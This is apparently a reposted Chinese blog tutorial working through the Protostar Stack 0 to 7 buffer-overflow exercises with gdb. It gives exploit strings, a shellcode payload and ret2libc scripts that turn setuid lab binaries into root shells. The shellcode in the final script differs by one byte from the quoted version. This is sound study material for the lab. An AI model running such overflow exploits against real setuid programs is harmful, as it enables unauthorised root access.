PWN入门Protostar靶场Stack系列

news2024/12/24 9:17:11

Protostar靶场地址

https://exploit.education/protostar/

溢出

源码分析

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;          //定义一个变量
  char buffer[64];           //给buffer变量定义数组，c语言中一个字符数就是一个字符串

  modified = 0;            //modified变量=0
  gets(buffer);             //获取输入，到buffer变量里

  if(modified != 0) {               //如果modified不等于0
      printf("you have changed the 'modified' variable\n");   
  } else {                        
      printf("Try again?\n");     
  }
}

分析源码可以看见第8行，定义的字符串数组是64位。按照溢出的思路，我们应该是需要加一位字符串，也就是64位，这样子就可以溢出了。
而且通过11行可以看见，gets函数如果将继续存储字符当超过缓冲区的末端，将会影响计算机的安全。这是一个危险的函数

python -c 'print "B"*65'|./stack0

使用python输出字符串，或者echo输出，可以看见成功破解成勋
image.png

汇编分析

gdb调试

使用gdb调试程序

gdb stack0

set disassembly-flavor intel 参数让汇报代码美观一点
disassemble main  显示所有的汇编程序指令

image.png
这里主要看第8行和第9行，第8行执行了gets函数，第9行：这行汇编指令表示将存储在%esp寄存器值加上0x5c偏移处的内容（内存地址）加载到%eax寄存器中。%esp是堆栈指针寄存器，通常用于指向栈顶，而%eax是通用寄存器，用于存储数据和地址。

0x080483f4 <main+0>:    push   %ebp
0x080483f5 <main+1>:    mov    %esp,%ebp
0x080483f7 <main+3>:    and    $0xfffffff0,%esp
0x080483fa <main+6>:    sub    $0x60,%esp
0x080483fd <main+9>:    movl   $0x0,0x5c(%esp)
0x08048405 <main+17>:   lea    0x1c(%esp),%eax
0x08048409 <main+21>:   mov    %eax,(%esp)
0x0804840c <main+24>:   call   0x804830c <gets@plt>
0x08048411 <main+29>:   mov    0x5c(%esp),%eax
0x08048415 <main+33>:   test   %eax,%eax
0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   movl   $0x8048500,(%esp)
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   movl   $0x8048529,(%esp)
0x0804842e <main+58>:   call   0x804832c <puts@plt>
0x08048433 <main+63>:   leave
0x08048434 <main+64>:   ret
End of assembler dump.

对这两行地址进行断点调试

b *0x0804840c
b *0x08048411

image.png
然后输入这个命令：

define hook-stop

这个工具可以帮助我们在每一步操作停下来后，自动的运行我们设置的命令：

info registers   //显示寄存器里的地址
x/24wx $esp      //显示esp寄存器里的内容
x/2i $eip        //显示eip寄存器里的内容
end              //结束

image.png
输入r运行第一个断点
image.png
输入n命令，执行下一步。下一步是gets函数
image.png
通过观察可以发现， 当0x41414141填满到0x00000000的时候， 从当前的0x41414141往下输出 。 刚好输出到到0x00000000的时候，有四行164+1个A就可以溢出了，刚好也是65位字符。（其中一个字节有8位，然后4个A就刚好8位，而一行有4个字节，所以一行的字符串数位44=16，4行也就是4*16了）
image.png
经过测试，可以看见确实是这样子
继续下一步n执行，可以看见程序最终破解成功。
image.png
至于为什么是到 0x00000000

x/wx $esp+0x5c            //查看esp地址+0x5c偏移地址的内容

查看内存中以esp寄存器为起点加上偏移量0x5c的地址的内容。在汇编层面，esp通常是栈指针，偏移量代表相对于栈顶的位置。使用x命令表示检查内存内容，wx表示以十六进制方式显示字的格式。
image.png

更改eip寄存器的值

什么eip寄存器

总的来说eip存储了下一条即将被执行的机器指令的内存地址，这个寄存器在执行指令时告诉 CPU 下一步应该执行哪条指令

破解程序

设置断点，其他断点都可以，我们主要是看eip的值

b main //函数名设置断点
b *main //指定main函数的地址设置断点

我们可以查看程序头，运行程序到断点处

r
info registers //查看所有寄存器的值

image.png
显示程序中main函数的反汇编代码

disassemble main

image.png
可以看见如果我们输入的值和程序不一样，就会跳转到0x8048427这个地址。如果我们的eip值跳转到0x08048419地址，就会执行下面的put函数，意味着破解成功

set $eip=0x08048419 //设置eip寄存器的地址
n // 执行下一条指令

image.png
最后可以看见程序直接破解成功了

修改eax寄存器的值

什么是eax寄存器

它主要用于存储函数返回值、算术运算的临时数据和通用数据等。在函数调用过程中，eax 通常用于存储函数的返回值。

破解程序

显示程序中main函数的反汇编代码，可以知道0x08048415地址，是进行比较判断的值
image.png
查看源代码，可以看见不为0的时候，就会执行下一个条件
image.png
现在我们来调试这个地址的断点

b *0x08048415 //对这个地址进行断点
r //开始调试程序的断点
info registers //显示寄存器的所有信息

image.png
修改eax寄存器的值为1

set $eax = 1

继续执行n下一步指令，可以看见程序破解成功。
image.png

x86架构

x86的读取，读取主要是由低到高的
题目来源：

https://exploit.education/protostar/stack-one/

源码

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

从第6行到13行可以看见，启动程序必须后面有一些输入出，才能载入。后面的代码和前面的其实差不多。
这里我们主要是要指定x86架构的一个知识点，就是我们已经知道了，如果要想破解程序。那就必须让modified变量等于0x61626364这个十六进制。
好，现在让我们尝试一遍，之前的溢出方式。
image.png

define hook-stop //启动程序的时候，会自动显示下面那些设置
x/48wx $esp //显示48个十六进制，esp寄存器的内容
x/2i $eip //显示下两条的eip存储的指令

image.png
然后指定要断点的地址

b *0x080484ab

启动程序

r AAAAAAAA

image.png
通过查看esp地址+0x5c偏移地址的内容,我们知道了需要64位才能缓冲区溢出

x/wx $esp+0x5c

几乎和挑战1方法一样。
0x61626364的十六进制是abcd
image.png
所以，第一个没成功，是因为读取是由低高的
image.png

环境变量溢出

题目来源

https://exploit.education/protostar/stack-two/

源代码

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

方法没变，只是溢出的方式奇怪了，是环境变量。getenv函数是获取当前的环境变量。源代码中，获取的是GREENIE环境变量的路径。
溢出方式：

export GREENIE=$(python -c"print 'A'*64+'\x0a\x0d\x0a\
x0d'"); ./stack2

可以看见破解程序成功
image.png

函数地址溢出

https://exploit.education/protostar/stack-three/

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

从源代码中的第六行和到第九行可以看见是自定义的win函数，如果调用win函数，则程序破解成功。

void win()
{
  printf("code flow successfully changed\n");
}
  • 第一行argc 表示命令行参数的数量，argv 是一个指向字符串数组的指针，这些字符串是命令行传递给程序的参数。
  • 第二行声明了一个指向函数的指针 fp。volatile 关键字告诉编译器这个变量的值可能会以编译器不可预知的方式改变，因此在优化时需要特别小心处理这个变量。这个指针被设定为指向返回 int 类型的函数。
  • 我们可以看见第六行的fp指针设置为0，也就是意味着，是空指针，不会跳转任何地址
int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

指针变量

指针变量是一种特殊类型的变量，其存储的是另一个变量的内存地址，而不是数据值本身。
下面是指针变量的一些常见特点：

  • 存储地址：指针变量存储的是另一个变量的地址，而不是直接存储数据。
  • 数据类型：每个指针都有一个特定的数据类型，这表明了指针指向的变量类型。例如，int * 是指向整型变量的指针，char * 是指向字符变量的指针。
  • 间接引用：通过指针，我们可以间接地访问或修改其指向地址上的数据。这称为“解引用”。
  • 动态内存分配：在C和C++中，指针经常用于动态内存分配。
  • 数组和指针：指针和数组在C语言中紧密相关。数组名本身就是一个指向数组第一个元素的指针。
  • 指针运算：可以对指针进行某些类型的算术运算，例如增加或减少指针的值，这样它们就可以指向内存中的下一个或上一个位置。
  • 空指针：指针可以被设置为 NULL 或 nullptr（在C++11及以后），表示它不指向任何地址。
  • 指针的指针：你甚至可以有指向另一个指针的指针，这被称为多级指针，如 int ** 是一个指向 int * 类型的指针。

溢出

当fp等于一个有效的函数指针时，会进行输出，并跳转到fp所指向的函数。

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

因为fp在代码中已经设置为0了，如果要想进行改变的话，就要通过溢出64位，才能进行操控指针变量。

gdb调试

查看main函数，这两行是我们需要溢出的地方，因为call指令执行eax寄存器里的值，我们需要将win函数溢出覆盖到0x08048471的地址就好了
image.png
如果不溢出，可以看见程序直接跳转指定的输出了
image.png
添加垃圾数据溢出到够64位就好了
image.png

溢出加函数覆盖

查看win函数地址可以在gdb指令使用，第一行地址就是了

disassemble win

image.png
或者

objdump -x ./stack3 |grep win

image.png
溢出数据+覆盖的函数地址

python -c "print('A'*64+'\x24\x84\x04\x08')"| ./stack3

可以看见破解成功
image.png

leave和ret指令

leave 和 ret 是 x86 汇编语言中的两个指令，通常在函数的退出过程中使用。

leave 指令

leave 指令用于将栈帧恢复到调用函数之前的状态。它的作用相当于两个指令的组合：mov esp, ebp 和 pop ebp。

ret 指令

ret 指令用于返回地址函数

题目地址：

https://exploit.education/protostar/stack-four/

源代码：

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

可以看见，我们虽然可以通过第13行进行64位的溢出，但是，我们需要调用win函数的地址，才能破解程序。那么这里就需要用到ret指令的特性，通过溢出，来修改ret指令返回的地址为win函数地址。

set disassembly-flavor intel
disassemble main

image.png
对leave指令地址进行断点
image.png
可以看见刚开始运行的程序，是这样子的，记录下来
image.png
准备到ret指令运行了，n下一步调试
image.png
在这里我们知道了，ret指令的地址是0xb7eadc76，我们要对它进行溢出覆盖为我们想要破解的win函数地址。

溢出覆盖

重新断掉调试，按r
image.png
可以计算出，需要76+win函数地址才能溢出覆盖。

python -c "print('A'*76+'win函数地址')"|./stack4

win函数地址获取，可以看见是0x080483f4
image.png
image.png
最后破解程序

python -c "print('A'*76+'\xf4\x83\x04\x08')"|./stack4

image.png

写入shellcode

题目地址

https://exploit.education/protostar/stack-five/

源码分析

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

可以看见这个程序的作用是只接受我们的输入

栈&esp寄存器

ESP 是 x86 架构中的一个寄存器，全称是 “Extended Stack Pointer”，它是栈指针寄存器。ESP 用于指向栈的顶部，即栈中最新压入的数据的位置。
在栈溢出攻击中，攻击者可能会尝试通过修改 ESP 或覆盖返回地址，来劫持程序的控制流，使其执行攻击者注入的代码。

setuid位

只要权限位有s，意味着执行这个程序的时候是root权限
image.png

ret指令溢出+堆栈shellcode写入

破解思路

因为esp寄存器控制着数据，所以我们的最终目的，是溢出加上写入恶意代码获得/bin/bash的root权限。因为有setuid位，所以可以得到root权限。

shellcode

这是一个linux x86架构执行/bin/sh的shellcode，来源于：

http://shell-storm.org/shellcode/files/shellcode-811.html

shellcode:

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

破解

通过断点调试，获得ret指令地址，可以看见继续按n下一步，就可以获得ret的地址了
image.png
按n，可以看见ret的地址是：0xb7eadc76。同时它也是我们需要溢出的地址。同时esp寄存器的0xbffff7d0地址是我们需要进行堆栈写入的地方。
image.png

0xbffff7d0 实际上是栈上的地址，通常对应于栈指针 esp 的值。在这个场景中，这个地址可能被用来覆盖函数返回地址 eip。
攻击者通常希望将 eip 的值修改为指向攻击者注入的代码的地址，从而在函数返回时跳转到攻击者指定的代码区域。
这种类型的攻击通常称为栈溢出攻击，其中溢出的数据会覆盖栈上的关键信息，如返回地址。
所以，在这个代码中，0xbffff7d0 作为填充和攻击代码之间的位置，可能用于达到覆盖返回地址的目的。

现在我们知道了，ret溢出的地址，我们重新断掉调试一下。用gdb调试leave的地址：

disassemble main
b *0x080483d9
r
x/100wx $esp

image.png
通过计算，可以知道要想溢出445-4个地址位，也就是需要76个字符，才能溢出ret地址。然后进行覆盖地址。

脚本编写

import struct

overflow = "A" * 76
eip = struct.pack("I",0xbffff7d0)
nop = "\x90"*10
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x88"

print overflow+eip+nop+shellcode
  • 第三行是，溢出ret返回地址。第四行eip变量，是用二进制数据写入堆栈esp地址到ret的返回地址。
  • 第5行，nop意味着空变量，不进行任何操作。不改变计算机的任何操作和值。
  • 第6行是shellcode，linux x86架构执行/bin/sh的shellcode
  • 总的来说是，溢出地址后，覆盖了地址是堆栈的地址(因为它可以控制数据）。最后在配合空变量还有shellcode一起执行，成功获得root的权限
(python stack5exp.py ; cat)| /opt/protostar/bin/stack5

其中括号是为了保存临时的全部输出，最后让输入到stack5程序中。
cat的特性，如图：直接输入cat回车，然后随便打可以看见都是我们自己输入的输出
image.png
image.png
最后可以看见获取到了root权限，成功破解

ret to libc

“ret to libc”，其中是为了溢出ret地址从而进行覆盖为libc库中某个函数的地址，比如”system“函数可以用来执行系统命令。我们可以通过这个函数，构造一个恶意的参数给它，从而获取shell。

libc库

程序为了调用函数，就会到指定的libc库里查找并执行
题目：

https://exploit.education/protostar/stack-six/

stack6源代码：

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()   //定义一个名为getpath的函数
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);  //输出字符串input path please: 

  gets(buffer);  //获取用户输入，将输入存储到buffer函数变量里

  ret = __builtin_return_address(0);   //获取ret返回的内存地址

  if((ret & 0xbf000000) == 0xbf000000) {   //如果内存地址的前两位是0xbf
    printf("bzzzt (%p)\n", ret);  //输出bzzzt
    _exit(1);
  }

  printf("got path %s\n", buffer);  //输出got path和用户的输入
}

int main(int argc, char **argv)  //主函数
{
  getpath();  //调用getpath函数
}

破解思路

由于程序的主要调用的函数是getpath，用gdb查看getpath函数
image.png

ret溢出字符位

然后进行断点调试

x/wx ret
x/100wx $esp

可以看见ret指令的地址是0x8048505，这是我们要覆盖的。通过计算可以，知道要覆盖ret指令的返回地址需要，80个字符位
image.png

获取system函数地址

继续输入gdb指令，获取system的函数地址，可以看见是 0xb7ecffb0。获取system函数地址是为了可以执行命令，所以需要它

p system

image.png

程序调用恶意字符串的完整地址

虽然我们我们有了system函数地址，但是我们还需要构造恶意的参数传入到system函数中。
查找程序内存映射（内存映射用于将文件或其他设备的内容映射到进程的地址空间），从而找到stack6的基地址：0xb7e97000

i proc mappings

image.png
现在我们已知 0xb7e97000 libc库基地址，如果想要调用licb库中的函数、参数什么的。就必须调用程序字符串的完整地址，其中它：
程序调用字符串的完整地址 = libc库基地址+字符串的偏移地址

strings -t d /lib/libc-2.11.2.so|grep "/bin/sh"

查找我们所需字符串的偏移地址 ：1176511 ，有了它才能获取shell
image.png
可以知道程序调用字符串的完整地址是 0xb7e97000+1176511

exp脚本编写

import struct

ret_overflow = "A"*80
system = struct.pack("I",0xb7ecffb0)
system_ret = "A"*4
shellcode = struct.pack("I",0xb7e97000+1176511)
print ret_overflow+system+system_ret+shellcode
  1. ret_overflow 是 ret溢出字符位
  2. system变量是，利用pack模块二进制写入system函数的地址
  3. system_ret变量，由于调用system函数会有ret的返回值，这里我们自己创造一个。至于为什么要4个字符A，是为了满足地址的十六进制。
  4. shellcode变量则是，要传入到system函数的参数字符串。用二进制将地址写入进去


最后破解程序

(python stack6exp.py ; cat)|/opt/protostar/bin/stack6

image.png

寻找ret地址

题目地址：

https://exploit.education/protostar/stack-seven/

源代码：

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

和stack-six代码的区别：

char *getpath()
{
  // ...
  return strdup(buffer);
}

这段代码的 getpath 函数的返回类型是 char *，即返回一个字符指针。，函数从用户输入中获取路径，并使用 strdup 函数创建了路径的副本，最后返回这个副本。

破解

正因为有了副本，只不过，我们需要添加ret指令的地址，有了ret才能返回我们所需要执行的恶意函数。首先我们的解题思路还是溢出：ret To libc。

objdump寻找ret指令的地址

寻找指令的十六进制地址

objdump -D ./stack7 |grep ret

随便选一个ret指令地址都可以
image.png

exp

溢出位+ret指令地址+system函数地址+system_ret返回地址+shellcode地址

import struct

ret_overflow = "A"*80
ret_addr = struct.pack("I",0x8048383)
system = struct.pack("I",0xb7ecffb0)
system_ret = "A"*4
shellcode = struct.pack("I",0xb7e97000+1176511)
print ret_overflow+ret_addr+system+system_ret+shellcode

可以看见破解成功

(python stack7exp.py ; cat) | /opt/protostar/bin/stack7

image.png
参考文章：

https://blog.csdn.net/qq_45894840/article/details/129490504
https://blog.csdn.net/qq_45894840/article/details/132688653
https://blog.csdn.net/qq_45894840/article/details/132720953
https://blog.csdn.net/qq_45894840/article/details/134028680

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1409074.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

Git服务器、GitLab介绍及搭建、HIS代码托管、CI/CD概述、Jenkins部署、Jenkins插件、Jenkins工程构建

Git服务器、GitLab介绍及搭建、HIS代码托管、CI/CD概述、Jenkins部署、Jenkins插件、Jenkins工程构建

案例1&#xff1a;GitLab服务器搭建 使用rpm包本地部署GitLab服务器 #确认GitLab主机硬件配置[rootGitLab ~]# free -mtotal used free shared buff/cache availableMem: 3896 113 3691 8 90 3615…
阅读更多...
day31WEB攻防-通用漏洞文件上传js验证mimeuser.ini语言特性

day31WEB攻防-通用漏洞文件上传js验证mimeuser.ini语言特性

目录 1.JS验证 2.JS验证MIME 3.JS验证.user.ini 4.JS验证.user.ini短标签 &#xff08;ctfshow154&#xff0c;155关&#xff09; 5.JS验证.user.ini短标签过滤 [ ] 6.JS验证.user.ini短标签加过滤文件头 有关文件上传的知识 1.为什么文件上传存在漏洞 上传文件…
阅读更多...
视频汇聚/云存储平台EasyCVR级联上级播放后一直发流是什么原因？

视频汇聚/云存储平台EasyCVR级联上级播放后一直发流是什么原因？

可视化云监控平台/安防视频监控系统EasyCVR视频综合管理平台&#xff0c;采用了开放式的网络结构&#xff0c;可以提供实时远程视频监控、视频录像、录像回放与存储、告警、语音对讲、云台控制、平台级联、磁盘阵列存储、视频集中存储、云存储等丰富的视频能力&#xff0c;同时…
阅读更多...
大创项目推荐 题目： 基于深度学习的疲劳驾驶检测 深度学习

大创项目推荐 题目： 基于深度学习的疲劳驾驶检测 深度学习

文章目录 0 前言1 课题背景2 实现目标3 当前市面上疲劳驾驶检测的方法4 相关数据集5 基于头部姿态的驾驶疲劳检测5.1 如何确定疲劳状态5.2 算法步骤5.3 打瞌睡判断 6 基于CNN与SVM的疲劳检测方法6.1 网络结构6.2 疲劳图像分类训练6.3 训练结果 7 最后 0 前言 &#x1f525; 优…
阅读更多...
spire.doc合并word文档

spire.doc合并word文档

文章目录 spire.doc合并word文档1. 引入maven依赖2. 需要合并的word3. 合并文档代码4. 合并结果 spire.doc合并word文档 1. 引入maven依赖 <repositories><repository><id>com.e-iceblue</id><name>e-iceblue</name><url>https://r…
阅读更多...
JVM篇----第五篇

JVM篇----第五篇

系列文章目录 文章目录 系列文章目录前言一、Java 中堆和栈有什么区别？二、描述一下 JVM 加载 class 文件的原理机制三、GC 是什么？为什么要有 GC？前言 前些天发现了一个巨牛的人工智能学习网站，通俗易懂，风趣幽默，忍不住分享一下给大家。点击跳转到网站，这篇文章男女通…
阅读更多...
LIMS源码，实验室信息系统源码，后端框架：asp.net

LIMS源码，实验室信息系统源码，后端框架：asp.net

LIMS(laboratory information management system)即实验室信息管理系统是实验室管理科学发展的成果&#xff0c;是实验室管理科学与现代信息技术结合的产物&#xff0c;是利用计算机网络技术、数据存储技术、快速数据处理技术等&#xff0c;对实验室进行全方位管理的计算机软件…
阅读更多...
利用tpu-mlir工具将深度学习算法模型转成算能科技平台.bmodel模型的方法步骤

利用tpu-mlir工具将深度学习算法模型转成算能科技平台.bmodel模型的方法步骤

目录 1 TPU-MLIR简介 2 开发环境搭建 2.1 下载镜像 2.2 下载SDK 2.3 创建容器 2.4 加载tpu-mlir 3 准备工作目录 4 onnx转mlir文件 5 mlir转INT8 模型 5.1 生成校准表 5.2 便以为INT8对称量化模型 参考文献&#xff1a; 之前是用nntc转算能科技的模型的&#xff0c…
阅读更多...
ExperimentalWarning: The http2 module is an experimental API.

ExperimentalWarning: The http2 module is an experimental API.

错误提示 Node.js:ExperimentalWarning: The fs.promises API is experimental原因是node的版本不是最新的&#xff0c;而在项目引入的模块是最新的&#xff0c;node.js的版本低于模块的版本&#xff1a; 解决方法: 1、升级版本 npm install -g npm 更新npm到最新版 npm ins…
阅读更多...
【C++干货铺】 RAII实现智能指针

【C++干货铺】 RAII实现智能指针

个人主页点击直达&#xff1a;小白不是程序媛 C系列专栏&#xff1a;C干货铺 代码仓库&#xff1a;Gitee 目录 为什么需要智能指针&#xff1f; 内存泄漏 什么是内存泄漏&#xff0c;内存泄露的危害 内存泄漏的分类 堆内存泄漏&#xff08;Heap leak&#xff09; 系统资…
阅读更多...
内衣洗衣机有必要买吗？五款好用的迷你洗衣机推荐

内衣洗衣机有必要买吗？五款好用的迷你洗衣机推荐

冬天正在临近&#xff0c;普通的衣服有日常的洗衣机洗&#xff0c;但内衣裤就成了很多小伙伴的困扰&#xff0c;在我们的观念中&#xff0c;内衣裤是绝对不可以和普通的衣服一起清洗&#xff0c;在冰冷的冬季还要手洗这些贴身衣物&#xff0c;真的很难受&#xff0c;所以拥有一…
阅读更多...
fpga外置flash程序烧录流程

fpga外置flash程序烧录流程

Fpga外置FLASH程序烧录流程&#xff1a; step1&#xff1a; 打开vivado2019.2软件&#xff0c;找到hardware manager选项&#xff0c;进入该功能界面&#xff1b; Step2&#xff1a; 确定连接状态&#xff0c;当JTAG正确连接到板卡的调试插针后&#xff0c;会在状态窗口显示…
阅读更多...
RNN与NLP

RNN与NLP

目录 数据处理基础&#xff1a; 处理文本信息&#xff08;text -> sequence&#xff09;&#xff1a; simple RNN模型&#xff1a; 这个教程的笔记&#xff1a; RNN模型与NLP应用(1/9)&#xff1a;数据处理基础_哔哩哔哩_bilibili 数据处理基础&#xff1a; 不能用标量…
阅读更多...
eBay在人工智能道路上的成败得失：衡量标准是关键

eBay在人工智能道路上的成败得失：衡量标准是关键

我是2006年加入eBay的。2009年&#xff0c;这家公司的运营状况非常糟糕&#xff0c;其股价创历史新低&#xff08;远低于近24美元的历史高位&#xff09;&#xff0c;还出现削减各项成本、负增长、市场占有率降低、技术团队缺乏创新能力等情况。 简而言之&#xff0c;eBay公司…
阅读更多...
[极客大挑战 2019]LoveSQL1

[极客大挑战 2019]LoveSQL1

万能密码测试&#xff0c;发现注入点 注意这里#要使用url编码才能正常注入 测试列数&#xff0c;得三列 查看table&#xff0c;一个是geekuser另一个是l0ve1ysq1 查看column&#xff0c;有id&#xff0c;username&#xff0c;password&#xff0c;全部打印出来&#xff0c;…
阅读更多...
未来已来：AI引领智能时代的多领域巨变

未来已来：AI引领智能时代的多领域巨变

大家好&#xff0c;今天我们将深入探讨人工智能如何彻底改变我们的生活方式&#xff0c;领略未来的无限可能性。 1. 医疗革新&#xff1a;AI担任超级医生 医疗领域是AI最引人注目的战场之一。智能医学影像诊断系统&#xff0c;不仅能够精准识别病变&#xff0c;还能辅助医生提…
阅读更多...
excel统计分析——Tukey‘s-b法多重比较

excel统计分析——Tukey‘s-b法多重比较

参考资料&#xff1a;生物统计学 Tukeys-b多重比较法是对Tukey法和S-N-K法的综合&#xff0c;取两种方法临界值的各1/2合成。临界值表达式为&#xff1a; 其中&#xff0c;m为秩次距&#xff0c;k为样本平均数的个数&#xff0c;df为误差项自由度&#xff0c; Tukey多重比较具…
阅读更多...
计算机网络 第4章（网络层）

计算机网络 第4章（网络层）

系列文章目录 计算机网络 第1章&#xff08;概述&#xff09; 计算机网络 第2章&#xff08;物理层&#xff09; 计算机网络 第3章&#xff08;数据链路层&#xff09; 计算机网络 第4章&#xff08;网络层&#xff09; 文章目录 系列文章目录1. 概述1.1 简介1.2 总结 2. 网络…
阅读更多...
MATLAB知识点：var ：计算方差（variance）

MATLAB知识点：var ：计算方差（variance）

​讲解视频&#xff1a;可以在bilibili搜索《MATLAB教程新手入门篇——数学建模清风主讲》。​ MATLAB教程新手入门篇&#xff08;数学建模清风主讲&#xff0c;适合零基础同学观看&#xff09;_哔哩哔哩_bilibili 节选自第3章 3.4.1节 var &#xff1a;计算方差&#xff08;…
阅读更多...
2024水果软件FL Studio21.2.3中文版破解注册机

2024水果软件FL Studio21.2.3中文版破解注册机

FL Studio即“Fruity Loops Studio”&#xff0c;也就是众所周知的水果软件&#xff0c;一个全能音乐制作环境、数字音频工作站(DAW)。FL Studio可以用来进行编曲、剪辑、录音、混音&#xff0c;让你的计算机成为一个全功能录音室。 FL Studio 21 Win-安装包下载如下: https:…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023